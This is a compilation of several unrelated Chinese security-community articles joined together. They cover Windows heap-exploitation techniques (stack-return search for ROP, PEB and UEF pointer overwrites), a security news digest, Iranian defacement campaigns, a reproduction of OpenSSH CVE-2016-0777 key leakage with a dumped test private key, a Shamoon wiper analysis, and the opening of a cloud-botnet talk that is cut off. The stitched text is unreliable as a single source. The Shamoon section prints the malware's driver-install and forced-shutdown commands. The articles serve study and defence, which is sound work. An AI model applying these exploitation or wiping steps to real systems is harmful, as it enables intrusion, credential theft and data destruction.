例如0xE50000处为HEAP结构，其HEAP+0x50为解密密钥`0C5FBB3EFE5600`，而一般密钥都是00结尾
将chunk的前8个字节与密钥逐位异或，得到`21000120 01020008`。size=0x21*8=0x108
### 利用方式
#### 1、修改栈返回地址ROP（最常用）
首先需要实现任意读写，泄露栈地址的过程如下：
ntdll -> ntdll!PebLdr泄露peb ->计算处teb -> 栈地址 ->遍历查找ret地址
ret_content = base + 0x239a
ret_addr = 0
for i in range(stackbase,stackbase-0x1000,-4):
if ret_addr==0:
tmp = re(i)
if tmp==ret_content:
ret_addr = i
break
assert ret_addr>0
_一段有用的gadget : mov [rcx],rdx; ret_
这段gadget可以在ntdll.dll中可以找到，如果配合上`pop rcx;ret以及pop
rdx;ret`可以实现任意地址写并且在rop中传参时也能发挥很好的作用
##### 在ida中搜索peb偏移的方法：
现在微软应该是把在线符号表给墙了，因为某些原因不能科学上网（懒），所以在用windbg的时候无法下载符合本地系统的pdb。这里我使用x64dbg进行调试。
1、在ida中打开ntdll，搜索函数LdrQueryImageFileExecutionOptions，交叉引用找到调用它的地方，如下图所示：
2、在上面可以发现一个位于.data的全局变量peb_44（我自己命名的），然后找到它在.data中的位置，如下图所示：
3、可以看到peb_44的偏移为ntdll+0x11dc54（这个偏移是我本机win10 版本号为18363的32位ntdll的偏移）
4、最后在调试器中定位到ntdll+0x11dc54，可以看到一个peb+0x44的值，从而可以泄露peb。
在NT内核系统中fs寄存器指向TEB结构，TEB+0x30处指向PEB结构，PEB+0x0c处指向PEB_LDR_DATA结构，PEB_LDR_DATA+0x1c处存放一些指向动态链接库信息的链表地址，win7下第一个指向ntdl.dll，第三个就是kernel32.dll的。可以通过查看线程TEB+0x30的内容检查是否为正确的PEB地址或者查看PEB+0xc是否为ntdll中的地址。
5、泄露栈地址
PEB->TEB->stack
PEB和TEB的偏移是固定的，在本地调试中的偏移为TEB=PEB+0x3000
在TEB前三个指针都是栈的指针，第一个估计是ebp附近的SEH_RECODE[1]的地址指针，第二个估计是stack base，第三个估计是stack
end。我们搜索栈空间寻找返回地址时，大概从stack base-0x1000开始搜索到stack base这一个页面的内容就行了。
##### 从kernel32.dll泄露ntdll
如果原程序中没有ntdll的导入表，可以从kernel32.dll中泄露，方法如下（源自<https://xz.aliyun.com/t/6319#toc-4）>
：
可以从kernel32.dll中定位到NtCreateFile函数的偏移，因为NtCreateFile函数是从ntdll.dll的导入函数。在我win10
18363虚拟机中，偏移为kernel32.dll+0x819BC。
再进一步，如果只泄露了一个dll动态库的地址，只要其有其他dll库的导入函数，我们就有可能从其内存空间中泄露处其他dll库的地址。
#### 2、篡改PEB中的函数指针
PEB结构中存放了RtlEnterCriticalSection()和RtlLeaveCriticalSection()函数指针，在程序正常退出时会调用ExitProcess()，为了同步线程该函数又会调用RtlEnterCriticalSection()及RtlLeaceCriticalSection()进行处理。
//32位
RtlEnterCriticalSection = &PEB + 0x20;
RtlLeaveCriticalSection = &PEB + 0x24;
#### 3、UEF
系统默认异常处理函数（UEF，Unhandler Exception
Filter）是系统处理异常时最后调用的一个异常处理例程，在堆溢出中，只需将这一地址覆盖为我们的shellcode地址即可。获取UEF地址的方法可以通过查看SetUnhandledExceptionFilter()的代码来定位，接着再找到操作UnhandledExceptionFilter指针的MOV指令
77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4] ;UnhandledExceptionFilter指针
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX
## Reference
[Windows Pwn 学习之路](https://www.anquanke.com/post/id/210394 "Windows Pwn 学习之路") | 社区文章 |
# 【知识】6月6日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 我是如何找到雅虎的远程执行漏洞并获得5500刀奖金的、Joomla! Payage
2.05组件'aid'参数存在SQL注入、使用XSS搞定CMS、WordSteal-一个从远程盗取NTLM的漏洞POC脚本、PEPLINK路由器漏洞、在心脏起搏器上发现超过8600漏洞** **
**
**资讯类：**
* * *
在心脏起搏器上发现超过8600漏洞
<http://thehackernews.com/2017/06/pacemaker-vulnerability.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Windows内核开发之旅 – part 2 – 熟悉HackSys极其脆弱的驱动程序
<https://hshrzd.wordpress.com/2017/06/05/starting-with-windows-kernel-exploitation-part-2/>
我是如何找到雅虎的远程执行漏洞并获得5500刀奖金的
<https://medium.com/@th3g3nt3l/how-i-got-5500-from-yahoo-for-rce-92fffb7145e6>
Joomla! Payage 2.05组件'aid'参数存在SQL注入
<https://www.exploit-db.com/exploits/42113/>
黑客如何将其数据隐藏在音频文件中？（实用）
<https://www.reddit.com/r/ReverseEngineering/comments/6f0ikh/how_hackers_hide_their_data_in_audio/>
使用XSS搞定CMS
<http://brutelogic.com.br/blog/compromising-cmses-xss/>
AppLocker绕过之-BgInfo
<https://pentestlab.blog/2017/06/05/applocker-bypass-bginfo/>
利用数组扩展的整数溢出（WebKit）
<https://phoenhex.re/2017-06-02/arrayspread>
CloudStone–通过大数据磨练你的武器
<https://l.avala.mp/?p=161>
BIND 9.10.5 无引用服务路径提权漏洞
<https://www.exploit-db.com/exploits/42121/?rss>
ENGENIUS enshare IOT千兆云服务远程代码执行
<https://www.exploit-db.com/exploits/42114/>
WordSteal-一个从远程盗取NTLM的漏洞POC脚本
<https://github.com/0x09al/wordsteal>
PEPLINK路由器漏洞
<https://x41-dsec.de/lab/blog/24smiley/>
AppLocker绕过 – BgInfo
<https://pentestlab.blog/2017/06/05/applocker-bypass-bginfo/>
Crooks leverages一种新技术通过PowerPoint演示文稿传送恶意软件
<http://securityaffairs.co/wordpress/59761/hacking/powerpoint-attack-malware.html>
一种有趣的绕过窗口附件管理器的方法
<https://3gstudent.github.io/3gstudent.github.io/An-interesting-way-of-bypassing-Windows-Attachment-Manager/>
【技术分享】使用JavaSnoop测试Java应用程序
<http://bobao.360.cn/learning/detail/3939.html> | 社区文章 |
# 血债黑站偿？美国斩首行动后伊朗民间报复性黑客活动的技术分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
伊拉克时间1月3日凌晨，其首都巴格达国际机场附近遭到三枚火箭弹袭击，两部车辆被烧毁，造成至少7人死亡。在袭击中，伊拉克人民动员组织领导人阿布·迈赫迪·穆罕迪斯与伊朗伊斯兰革命卫队领导人卡西姆·苏莱马尼身亡。这场“暗杀”行动，就此引爆中东地区局势。
苏莱曼尼，伊朗革命卫队下属王牌部队圣城旅的最高指挥官，直接向伊朗最高领袖哈梅内伊负责，被称为中东谍王，多次在叙利亚、伊拉克等国境内策划针对美国的行动。
而伊朗方面近日也做出快速应对措施，宣布进入中止履行伊核协议的第五阶段即最后阶段，放弃伊核协议中的最后一项关键限制，即“对离心机数量的限制”。这意味着，伊朗的核计划将不再受到任何实际限制。
此外，最高领袖哈梅内伊已经下令为苏莱马尼进行为期三天的公众哀悼。
而5日伊朗国家电视台一台当日播出对已故将军苏莱曼尼的送葬过程。直播中，为这名死于美军空袭的将军致悼词的人称
“我们伊朗有8000万人，如果我们每人拿出一美元，我们就会有8000万美元，那么我们就可以把这笔钱用来奖赏任何能给我们送上（特朗普的）头颅的人。”
可见，两国激化，难以调和。
而这场公众哀悼活动，在网络上同样进行中。
伊朗民间黑客组织，开始了他们的活动。
## 攻击美国政府网站
近日最出名的伊朗民间黑客组织的攻击，莫属将美国联邦存储图书馆(Federal Depository
Library)项目运营的美国政府网站www.fdlp.gov挂上了黑页
除了最下方提及了这个黑客团伙名称为 Spad Security Group外，其他信息均未出现。
而这张图片的制作者为takavar313.ir，同样为伊朗反美斗士，目前未知两者之间是否存在关系。
而奇安信威胁情报中心红雨滴团队在得知该网站被攻击后，为了对其攻击行为进行检测，防止其误伤攻击中国网站，因此进行了溯源分析。
首先，由于目前该页面只有两张图片，其中一张已经有已知作者，因此我们从另一张图片出发，发现图片EXIF信息中标注有在2015年11月20号18点42分使用Adobe
Photoshop CS6软件在windows系统上制作而成。
通过对图片信息进行搜查发现，该图曾经出现在另一个被伊朗黑客攻击的网站，攻击者名为Iran-Cyber，因此判断，该黑客团伙也许在2015年就已经开始活跃。
而实际上，美国联邦存储图书馆的网站不是第一次被攻击了。
“强”如美国，政府网站同样会被反复入侵。
分析发现，该网站一直沿用RSForm框架，历史记录查看发现还用着1.4 r48版本。
而此前实际上RSForm 1.5版本就存在SQL注入漏洞和数据库开放漏洞了。
## 广撒网式攻击
除了上面这种专门针对美国政府网站进行攻击的行为之外，还有一个名为SHIELD
IRAN的黑客团伙开始随机攻击任意网站，并挂上具有少将头像的黑页，我们在得知塞拉利昂商业银行（slcb.com）被攻击后，通过谷歌缓存发现
基于该特征，我们发现了大量同一时期被伊朗黑客攻击的网站，但其中没有一个是属于美国网站。
其中还有属于我国台湾省的网站遭受攻击，因此我国其他省份的网站同样需要境界，防止误伤。
此外，他们挂上一个黑页，都会把自己的ID写在上面。同时还有一首歌一直在播放。也许是战歌。
<http://www.asanlearn.com/dll/iranhackerz.mp3>
经过分析发现，该黑客团伙在几年前已经非常活跃了，从人员分布来看，规模不小。
而黑客接力行动正在陆陆续续进行当中，连接他们的桥梁便是一个又一个的伊朗黑客telegram群组。他们在黑页上留下群组号，在别人加入到群组后又会引导进入另一个群组，从而绕过检测。
目前根据监测发现，比较主流的有名为Mrb3hz4d的伊朗黑客黑页。
以及名为Liosion Team的伊朗黑客团伙黑页。
越来越多被伊朗黑客攻陷的网站都会在这个黑页集中营中出现。
## 总结
根据网上消息，据称伊朗拥有11万名网络攻击志愿者，他们组织进行DDOS攻击，分发端口扫描器，批量扫描网站，只为挂上属于他们的愿景。对于他们这种行为，我们不加以评判，公道自在人心。
同时，文中也提到了，鉴于近期网络上将出现大量的报复性网络攻击，因此误伤的几率将会大大增加，因此国内也需要加大防护力度。
未来，伊朗官方网军是否会出击美国，我们认为这是一个必然的结果，伊朗APT33组织针对美国已经发起了多次攻击，近期是否会采取报复性行为，例如通过网络攻击导致美国断网断电，摧毁基础设施等，随着民愤高涨之时，这种网络报复性行为势必会出现。
美国NSA的信号情报(棱镜计划)、CIA的人力情报，这都将体现在现实战场，而网络攻击影响现实战场的事件已经出现很多了，诸如震网、乌克兰断电、以色列炸毁哈马斯网络部队大楼等等，近期，网络世界必不太平。
奇安信威胁情报中心将持续关注相关情报，了解更多国际网络安全态势。 | 社区文章 |
# OpenSSH CVE-2016-0777私钥窃取技术分析
|
##### 译文声明
本文是翻译文章，文章来源：360技术博客
原文地址：<http://blogs.360.cn/blog/openssh-cve-2016-0777%E7%A7%81%E9%92%A5%E7%AA%83%E5%8F%96%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90/>
译文仅供参考，具体内容表达以及含义原文为准。
by: au2o3t @360 Cloud Security Team
**0x01前言**
想起以前写了很多广告序，估计也没什么人看。后来看到“天眼APT
Team”和“360安服团队”的人针对黑产只写了句“人在做，天在看”，有点感悟。赶紧把sb类型的广告删掉，不能低估各位看客的智商。
安全本来就是攻防，没什么好讲的，一群追逐影子的人，对于漏洞的验证只是满足猎奇心理罢了。
写完后还要去楼下继续围观 360 Unicorn Team在360互联网训练营上的超级精彩演讲。
hf!
**0x02技术分析**
不b话，上图。
[](http://blogs.360.cn/wp-content/uploads/2016/01/ssh1.png)
环境：
系统版本：
Linux version 3.10.0-229.11.1.el7.x86_64 ([email protected])
(gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Thu Aug 6
01:06:18 UTC 2015
SSH版本：
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
以下结论为上述环境中实现
过程：
ssh建立连接时会读入证书，其内存通过buffer.c文件中的buffer_init()，buffer_free()函数管理
正常情况使用完毕会将内存内容清零
但若证书内容大于4k，ssh会调用realloc重新分配更多内存，此时不会将之前的内存清零，由此证书头4k内容会残留在内存中
接着，若恶意服务器应答roaming，则协议好roaming id，cookie等以及一个服务端可控的偏移值 offset（实验中我设置此值为 4096 –
663430，应客户端默认发送缓冲长度为663430）
同时响应一个<=4k的长度s_len，客户端会分配一块长度为s_len的“roaming_mem”，内容即为未清零的证书前4k残留
此时恶意服务器断开连接，客户端用户可选择恢复连接
则客户端会将发送偏移(ofs1)设置为服务端送过来的 offset 加本机默认发送缓冲长度 663430
ofs2即是s_len长度4096
如此，客户端会发送 roaming_mem + ofs1 – ofs2，长度 ofs2 的内容到服务端
此时ofs1-ofs2恰好等于0，也就相当于发送 roaming_mem 为起始地址，ofs2=4096长度的内容，刚好就是证书4k残留
实践：
（证书内容本身不足4k，为方便实验，手工在证书末尾添加了若干”n”作为补位）
[xxx@test openssh-6.4p1]$ ll /home/xxx/.ssh/id_rsa
-rw——- 1 xxx xxx 5169 Jan 16 11:58 /home/xxx/.ssh/id_rsa
[xxx@test openssh-6.4p1]$ strings /home/xxx/.ssh/id_rsa
—–BEGIN RSA PRIVATE KEY—–
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42
45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ
rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC
eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw
sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5
G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+
b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X
LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI
R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM
waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH
Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM
vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I
1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy
AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP
gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy
P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI
EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv
4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq
bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu
KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw
dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW
Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb
6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c
Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4
GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B
xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1
—–END RSA PRIVATE KEY—–
[xxx@test openssh-6.4p1]# /home/xxx/openssh-6.4p1/sshd -o
ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f
/etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
[xxx@test openssh-6.4p1]$ ./ssh -p222 127.0.0.1
Enter passphrase for key ‘/home/xxx/.ssh/id_rsa':
[email protected]’s password:
[connection suspended, press return to resume][connection resumed]
[63]+ Stopped ./ssh -p222 127.0.0.1
[xxx@test openssh-6.4p1]$ sudo -i
[sudo] password for xxx:
[root@test ~]# strings /home/xxx/key
—–BEGIN RSA PRIVATE KEY—–
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42
45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ
rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC
eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw
sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5
G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+
b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X
LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI
R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM
waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH
Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM
vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I
1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy
AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP
gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy
P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI
EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv
4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq
bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu
KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw
dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW
Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb
6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c
Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4
GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B
xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1
—–END RSA PRIVATE KEY—–
[root@test ~]# ll /home/xxx/key
-r——– 1 root root 4096 Jan 16 11:59 /home/xxx/key
**
**
**0x03写在最后**
唯一要说明的是现实世界里pravite key文件超过4k大小是一个并不常见的问题。引用Quake3里的最感人的一句话作结尾。
gl, i love this game! (不知道有谁见到过这句话，见过的人你应该也是战斗过的人)。 | 社区文章 |
# Shamoon归来：擦除中东及欧洲系统数据
|
##### 译文声明
本文是翻译文章，文章原作者 McAfee，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
多年以来攻击者一直都在使用破坏性恶意软件。通常情况下，这些攻击都有较强针对性，带有意识形态、政治甚至经济方面的目的。
破坏性攻击活动会造成重大经济损失，导致数据丢失或者业务运营受到严重影响。当公司成为目标后，可能损失惨重，需要数周或者数月才能恢复正常，并且期间无法盈利、信誉降低。
从最近的攻击活动中我们可以看到具体的损失程度。在过去一年内，NotPetya影响了全世界多家公司。2月份时，研究人员又发现了针对奥运会组织的OlympicDestroyer。
Shamoon是一款破坏性恶意软件，从出现之日起McAfee就一直在监控这款恶意软件。在本月初时，McAfee
Foundstone应急事件响应团队根据客户的反馈，识别出这款软件的最新变种。Shamoon早在2012年就攻击过中东的石油和天然气公司，也在2016年重新攻击这个行业。Shamoon对企业造成非常严重的威胁，我们建议各单位应采取适当措施进行防御。
在过去一周内，我们已经观察到一个新变种攻击了许多部门，其中包括中东和南欧的石油、天然气、能源、电信以及政府组织。
与之前的攻击活动类似，第3版Shamoon变种使用了多种规避技术来绕过安全防御，以便达成攻击目的。然而，变种整体行为与之前版本保持一致，因此大多数反恶意软件引擎处理起来也比较简单。
第3版Shamoon变种与之前变种一样，也会安装一个恶意服务，运行`wiper`组件。一旦`wiper`组件成功运行，就会使用随机的垃圾数据覆盖所有文件，然后重启系统，导致系统蓝屏或者驱动程序错误，使系统无法正常运行。这款变种还能枚举本地网络，但并没有采取进一步措施。变种还存在一些bug，表明这个版本仍是beta版，或仍处于测试阶段。
该版本与早期版本存在一些区别，比如释放恶意文件所使用的文件名列表以及恶意服务名`MaintenaceSrv`（其中“maintenance”单词拼写错误）。`wiper`组件还可以使用如下选项来攻击系统上的所有文件：
* 使用垃圾数据覆盖文件（该版本以及我们分析的样本使用了这种方法）
* 使用某个文件覆盖目标文件（Shamoon版本1及2使用了这种方法）
* 加密文件及主引导记录（该版本没有使用这种方法）
Shamoon是一个模块化恶意软件：`wiper`组件可以作为独立文件加以使用，用于其他攻击活动中，使其威胁等级大大提升。本文介绍了我们的研究成果，包括详细分析过程以及IoC特征。
## 二、整体分析
Shamoon是一款dropper（释放器）程序，包含3个资源文件。dropper负责收集数据、嵌入规避技术（如混淆、反调试或者反取证技巧），需要输入参数才能运行。
解密3个资源后，Shamoon会将这些资源释放到系统的`%System%`目录中，也会创建`MaintenaceSrv`服务，用来运行`wiper`组件。我们可以利用服务名中的拼写错误简化检测过程。
Advanced Threat Research团队多年来一直在跟踪这个服务的变化，具体演变过程如下图所示：
`wiper`使用`ElRawDisk.sys`来访问用户的原始硬盘，覆盖所有目录和磁盘扇区中的所有数据，导致目标主机在最终重启前就处于严重错误状态。
最终导致系统蓝屏或者驱动器错误，使主机无法正常工作。
## 三、大致流程
Shamoon整体工作流程如下图所示：
## 四、Dropper分析
### 可执行文件概要
dropper中包含其他恶意组件，这些组件以加密文件形式内嵌在PE数据区中。
这些资源数据由dropper解密，具体类型如下：
* MNU：通信模块
* LNG：`wiper`组件
* PIC：64位版dropper
Shamoon 2018需要一个参数才能运行、感染目标主机。Shamoon会在内存中解密多个字符串，收集系统信息，判断是释放32位版还是64位版载荷。
恶意软件耶尔会释放`key8854321.pub`文件（MD5：`41f8cd9ac3fb6b1771177e5770537518`），具体路径为`c:\Windows\Temp\key8854321.pub`。
恶意软件随后会解密出需要使用的两个文件：
C:\Windows\inf\mdmnis5tQ1.pnf
C:\Windows\inf\averbh_noav.pnf
Shamoon会启用`RemoteRegistry`服务，使程序能够远程修改注册表。此外Shamoon还会启用`LocalAccountTokenFilterPolicy`注册表项[禁用远程用户账户控制](https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows)。
恶意软件会检查主机是否存在如下共享，用来复制传播：
ADMIN$
C$\WINDOWS
D$\WINDOWS
E$\WINDOWS
通过查询服务，Shamoon可以获取关于[LocalService](https://docs.microsoft.com/en-us/windows/desktop/services/localservice-account)账户的相关信息。
随后恶意软件读取PE文件中的资源数据，释放攻击组件。Shamoon使用如下代码逻辑查找资源的位置：
Shamoon创建文件，然后将文件时间设置为2012年8月份，这是一种反取证技巧。这款恶意软件会在所有能破坏的文件上设置这个时间日期。
这种修改时间方法可以用来规避基于时间戳的检测机制。我们还观察到在某些情况下，修改的时间有所不同，每个文件使用各自的伪造时间。释放到系统中的文件目录为`C:\Windows\System32\`。
在创建恶意服务之前，Shamoon会通过令牌模拟来提升权限。恶意软件首先使用的是`LogonUser`及`ImpersonateLoggedOnUser`，随后使用的是`ImpersonateNamedPipeClient`。Metasploit也使用类似的技术来提升权限。
权限提升对恶意软件来说非常关键，这样才能修改系统配置，正常情况下这种操作会受到各种限制。
Shamoon会创建新的恶意服务：`MaintenaceSrv`，使用`Autostart (StartType:
2)`选项创建服务，然后以进程运行该服务（`ServiceType: 0x10`）。
如果该服务之前已经存在，恶意软件会使用新的配置信息修改该服务参数。
最终成功创建`MaintenaceSrv`服务：
释放到系统中的`wiper`组件可以使用各种名称，如下所示：
接下来恶意软件会运行`wiper`，擦除数据。
### wiper分析
`wiper`组件位于`System32`目录中，需要一个参数运行。`wiper`将驱动嵌入在自身资源区中。
该资源经过加密处理，如下图所示：
这个资源对应的是`ElRawDisk.sys`驱动，该驱动可以用来擦除磁盘。
提取资源的逻辑如下所示：
这个文件其实不是恶意文件，但由于是原始驱动程序，因此存在一定风险。
`wiper`会创建一个服务，使用如下参数运行该驱动：
sc create hdv_725x type= kernel start= demand binpath= WINDOWShdv_725x.sys 2>&1 >nul
命令执行过程如下：
恶意软件会覆盖`c:\Windows\System32`目录中的所有文件，使主机处于严重错误状态。系统上的所有文件都会被覆盖。
负责覆盖操作的进程如下：
最后，恶意软件使用如下命令强制系统重启：
Shutdown -r -f -t 2
一旦系统重启，就会显示蓝屏界面：
### 蠕虫分析
恶意软件会从dropper中提取蠕虫组件。破坏性恶意软件通常会使用传播技术来尽快感染其他主机。
蠕虫组件会使用如下名称：
我们注意到恶意软件可以扫描本地网络，连接至潜在的控制服务器：
虽然蠕虫组件可以传播dropper，连接至远程服务器，但该组件并没有在这版本变种中使用。
## 五、总结
恶意软件能造成严重破坏，并且`wiper`组件还能独立于dropper单独使用，不需要依赖主进程就能执行。我们可以从2018年的Shamoon变种看到模块化开发趋势，这样其他恶意dropper程序就能在Shamoon之外使用`wiper`组件。
Shamoon在不断演变中，但这些技巧无法规避McAfee
DAT的检测。我们估计攻击者还会在中东（及其他地区）发起更多攻击活动，我们会继续监控遥测数据，根据了解到的信息更新分析内容。
## 六、MITRE ATT&CK™类别
## 七、IoC
df177772518a8fcedbbc805ceed8daecc0f42fed 原始dropper x86
ceb7876c01c75673699c74ff7fac64a5ca0e67a1 Wiper
10411f07640edcaa6104f078af09e2543aa0ca07 蠕虫模块
43ed9c1309d8bb14bd62b016a5c34a2adbe45943 key8854321.pub
bf3e0bc893859563811e9a481fde84fe7ecd0684 RawDisk driver
## 八、McAfee检测特征
Trojan-Wiper!DE07C4AC94A5
RDN/Generic.dx
Trojan-Wiper | 社区文章 |
本文为威胁猎人首届网络黑产攻防沙龙嘉宾——金山云安全技术总监李鸣雷带来的现场分享。他将从一个僵尸网络的发现说起，分析云时代僵尸网络的新特点，并总结在云时代云服务商抵御黑产攻击的方式。
图为 金山云安全技术总监李鸣雷
今天为大家简单分享一下云时代云服务商面临的黑产问题，以及我们的一些经验和积累。
在分享开始之前，我先从我们发现的一次DDoS攻击的故事说起。
去年12月19日，我们的两台云主机出现了一次大的网络流量异常。我们发现这两台云主机对外发起了DDoS攻击，然后我们的应急团队立即进行了应急响应工作。
首先把这两台云主机隔离出来，然后通过技术手段获取样本，并对样本进行了逆向分析。接着从这个样本的.CC域名控制，到通过威胁情报进行了逆向的分析工作，发现这个僵尸网络确实比较大。
我们对这个僵尸网络进行了以下分析：
从僵尸网络的架构上来看，相对于P2P的攻击方式，这些僵尸网络并没有特别出彩的地方，这取决于一个普通的C/S直连的方式。它通过C/S直连的加密协议，直接连到这个控制端，再经过多重的跳转。在云时代，不光是通过C/S直连的方式，还有通过DNS隧道传递数据的方式来对控制端进行连接，这种规模还是相当大的。
而被控端是一个比较常见的方式。僵尸网络获取的主要方式是通过弱口令和一些常见的漏洞，还有的是通过购买云主机来获得。另外就是利用我们的云计算把控制端放在我们的云上，通过云上的设备来进行如IP的变换、域名的变换等操作来隐藏真实的客户端。
云时代，僵尸网络有哪些新特点？
1、 云的资源获取容易
云的资源获取容易，僵尸网络可以按需开通，按时付费。比如可以自己买一台云的资源，而且这些云主机缺乏监管，在云上的价格很低，可以按月来开通。相比传统的方式，在成本上对僵尸网络的拥有者是很大程度的降低。这实际上是大部分的僵尸网络利用了云的可扩展性。
2、 资源容易销毁
